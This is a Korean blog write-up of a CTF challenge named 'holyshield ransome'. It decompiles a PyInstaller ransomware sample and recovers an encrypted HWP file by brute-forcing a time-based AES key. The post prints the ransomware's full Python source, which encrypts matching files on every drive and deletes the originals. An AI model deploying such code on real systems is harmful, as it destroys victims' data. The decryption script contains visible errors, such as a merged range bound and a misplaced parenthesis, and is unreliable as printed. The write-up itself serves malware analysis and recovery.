본문 바로가기

CTF/Write-up

holyshield ransome

holyshield ransome

이 문제는 ransomware파일과 그걸 당한 hwp 파일을 하나 주었다 우선 파일 아이콘을 보니깐 파이썬을 많이해서 그런지 pyinstaller로 실행파일을 만들었다는걸 알아차렸다 그래서 디컴파일법을 검색해봤는데 pyinstxtractor.py 이런 pyc로 바꾸는 디컴파일 소스가 존재했다 소스를 돌려보니 ransome이라는 파일이 나왔는데 그 파일은 pyc가 아니였다 파일 헤더를 살펴보면 63 00 00 00 으로 시작하는데 파이썬 2.7점 버전의 pyc 확장자인 03 F3 0D 0A을 붙여주고 뒤에 4바이트는 00으로 채운다 그러면 pyc 파일이 만들어지게 되는데 그걸 다시 디컴파일하면 소스가 나타난다

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import os
import random
import struct
import hashlib
import time
import win32api
import time
from Crypto.Cipher import AES
extensions = ['.hwp1']
 
 
def find_file(key):
    for drive in win32api.GetLogicalDriveStrings().split('\x00')[:-1]:
        for root, dirs, files in os.walk(drive):
            for file in files:
                if file.endswith(tuple(extensions)):
                    in_filename = os.path.join(root, file)
                    print '[+] - Found File_Name [+]'
                    print in_filename
                    print '[!] - Encrypt Binary'
                    encrypt_file(key, in_filename)
                    print '[+] - Encrypt Finished'
                    print '[!] - File Delete'
                    os.remove(os.path.join(root, file))
                    print '[+] - File Deleted Finished'
                    time.sleep(1)
                    print
 
    print '[+] - All Done!!!'
 
 
def encrypt_file(key, in_filename, out_filename=None, chunksize=65536):
    if not out_filename:
        out_filename = in_filename + '.enc'
    iv = 'IV_HSRANSOMWARE\x00'
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    filesize = os.path.getsize(in_filename)
    with open(in_filename, 'rb') as infile:
        with open(out_filename, 'wb') as outfile:
            outfile.write(struct.pack('<Q', filesize))
            outfile.write(iv)
            while True:
                chunk = infile.read(chunksize)
                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += ' ' * (16 - len(chunk) % 16)
                outfile.write(encryptor.decrypt(chunk))
 
 
def make_pass():
    timekey = int(time.time())
    return str(timekey)
 
 
def start():
    password = make_pass()
    key = hashlib.sha256(password).digest()
    find_file(key)
 
 
# def main():
#     start()
 
 
# main()
# okay decompyling ransome.pyc
 
cs

이런 소스였다

검색을 하다보니까

http://cpuu.postype.com/post/277501/ 이런 글을 발견할 수 있었다 


해당 글에서 복호화 소스를 구할 수 있었다 하지만 복호화를 하기 위해서는 IV값과 key값을 알아야하는데 IV값을 나와 있었고 key값을 구하는게 조금 그랬다 하지만 time.time()함수가 70년대 이후로 1초늘어나는 값을 float로 나오게 한다는데

컴퓨터 시간을 파일이 생성된 시간인 # 2016년 1월 15일 오후 5시 54분으로 맞추고

나머시 60초를 게싱했다 대역대가 1452848040~1452848101이렇게 된다


그래서 약간 수정하고

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import struct
import hashlib
import time
import binascii
import os
from Crypto.Cipher import AES
 
 
def decrypt_file(key, in_filename, out_filename, chunksize=24 * 1024):
    with open(in_filename, 'rb') as infile:
        origsize = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
        iv = infile.read(16)
        decryptor = AES.new(key, AES.MODE_CBC, iv)
        with open(out_filename, 'wb') as outfile:
            while True:
                chunk = infile.read(chunksize)
                if len(chunk) == 0:
                    break
                outfile.write(decryptor.decrypt(chunk))
            outfile.truncate(origsize)
 
for x in range(14528480401452848101):
    time.sleep(1)
    password = str(x)
    key = hashlib.sha256(password).digest()
    print binascii.hexlify(bytearray(key))
    decrypt_file(key, in_filename='secret.hwp1', out_filename='original.hwp')
    outfile = open('original.hwp')
    magic = outfile.read(8)
    print 'Magic Number : ' + magic.encode('hex')
 
    if magic.encode('hex'== 'd0cf11e0a1b1':
        print 'This document is a HWP file.'
        break
        exit()
 
cs

위에 글을 참고해서 이렇게 수정해 돌리면 정상적인 hwp파일을 구할 수 있다



처음 HWP를 열었을 때 검은창이여서 놀랐는데 그냥 그림이였다 아래로 치우면된다

'CTF > Write-up' 카테고리의 다른 글

holyshield sound  (0) 2016.12.20
holyshield puzzle  (0) 2016.12.19
holyshield easylang  (0) 2016.12.19
holyshield StudyScala  (0) 2016.12.19
RC3 CTF GoReverseMe  (0) 2016.12.04